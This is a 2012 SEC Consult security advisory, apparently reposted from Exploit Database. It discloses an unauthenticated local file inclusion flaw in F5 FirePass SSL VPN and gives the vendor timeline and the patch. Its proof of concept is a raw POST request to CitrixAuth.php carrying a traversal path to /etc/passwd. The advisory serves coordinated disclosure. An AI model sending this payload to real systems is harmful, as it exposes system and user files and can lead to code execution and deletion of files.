FirePass SSL VPN – Local File Inclusion

• Exploit Database
• 37 阅读

• 作者： SEC Consult
  日期： 2012-12-03
• 类别：

  • webapps
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/23111/

• SEC Consult Vulnerability Lab Security Advisory < 20121203-0 >
  =======================================================================
  title: Unauthenticated local file inclusion
  product: F5 FirePass SSL VPN
   vulnerable version: <= 7.0.0HF-70-6
  fixed version: 7.0.0 HF-70-7
   impact: Critical
   homepage: http://www.f5.com
  found: 2012-06-01
   by: S. Viehböck
   SEC Consult Vulnerability Lab
   https://www.sec-consult.com
  =======================================================================
  
  Vendor/product description:
  -----------------------------
  "The FirePass SSL VPN" available as an appliance and in a Virtual
  Edition provide security, flexibility, and ease of use. It grants access to
  corporate applications using a technology that everyone understands: a web
  browser. Users can have secure access from anywhere they have an Internet
  connection, while FirePass ensures that connected computers are fully patched
  and protected."
  
  "FirePass provides robust, secure SSL VPN remote access to business
  applications from a wide range of client devices, including Apple iPhone and
  Windows Mobile devices.Using full-tunnel SSL technology and client access
  policies defined by system administrators, remote clients can log on to
  corporate business applications under pre-defined access permissions and
  client directory control."
  
  URL: http://www.f5.com/products/firepass/
  
  
  Vulnerability overview/description:
  -----------------------------------
  Due to insufficient input validation, an unauthenticated attacker can disclose
  arbitrary local files with the privileges of the webserver. This includes the
  user/administrator database. As the attacker-controlled path is passed to the 
  PHP include() function, code execution is also possible.
  Furthermore, the path is then passed to the unlink() function and therefore can
  be used to delete arbitrary files in the filesystem which causes denial of
  service.
  As opposed to some information on the Internet (e.g.
  https://twitter.com/FirePassHF/status/218886584672587776), it is not necessary
  to have Citrix functionality enabled in order to exploit this vulnerability.
  
  
  Proof of concept:
  -----------------
  The flaw exists in the CitrixAuth.php script in the parameter "sessionId".
  
  An attacker can traverse directories with '../' and terminate the path with a
  NULL byte.
  
  The following exploit shows how files can be extracted from the file system:
  
  POST /CitrixAuth.php HTTP/1.1
  Host: hostname
  Content-Type: application/none
  Content-Length: 68
  
  <sessionId>../../../../../etc/passwd </sessionId>
  -> <- NULL byte
  
  
  Vulnerable / tested versions:
  -----------------------------
  The vulnerability has been verified to exist in the Firepass SSL VPN version
  7.0.0, which was the most recent version at the time of discovery.
  
  
  Vendor contact timeline:
  ------------------------
  2012-06-05: Contacting vendor security team via email.
  2012-06-07: Response from vendor.
  2012-06-12: Coordination call with vendor.
  2012-06-14: Sent proof of concept exploit via encrypted channel.
  2012 June:Vendor releases HF-388207-1 and informs that solution (=advisory)
  will be published soon.
  2012-08-22: Requesting status of solution.
  2012-08-22: Vendor responds that solution will be published soon.
  2012-10-23: Requesting status of solution.
  2012-10-23: Vendor responds that something went wrong and they will look
  into it.
  2012-11-07: Requesting status of solution.
  2012-11-29: Vendor publishes SOL14046.
  2012-12-03: Public release of SEC Consult advisory.
  
  
  
  Solution:
  ---------
  Apply HF-70-7 or HF-388207-1. For detailed information see:
  http://support.f5.com/kb/en-us/solutions/public/14000/000/sol14046.html
  
  Patch information is also available at:
  http://support.f5.com/kb/en-us/solutions/public/13000/800/sol13826.html
  
  
  Workaround:
  -----------
  No workaround available.
  
  
  Advisory URL:
  --------------
  https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm
  
  
  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  SEC Consult Unternehmensberatung GmbH
  
  Office Vienna
  Mooslackengasse 17
  A-1190 Vienna
  Austria
  
  Tel.: +43 / 1 / 890 30 43 - 0
  Fax.: +43 / 1 / 890 30 43 - 25
  Mail: research at sec-consult dot com
  www.sec-consult.com
  
  
  EOF S. Viehböck / @2012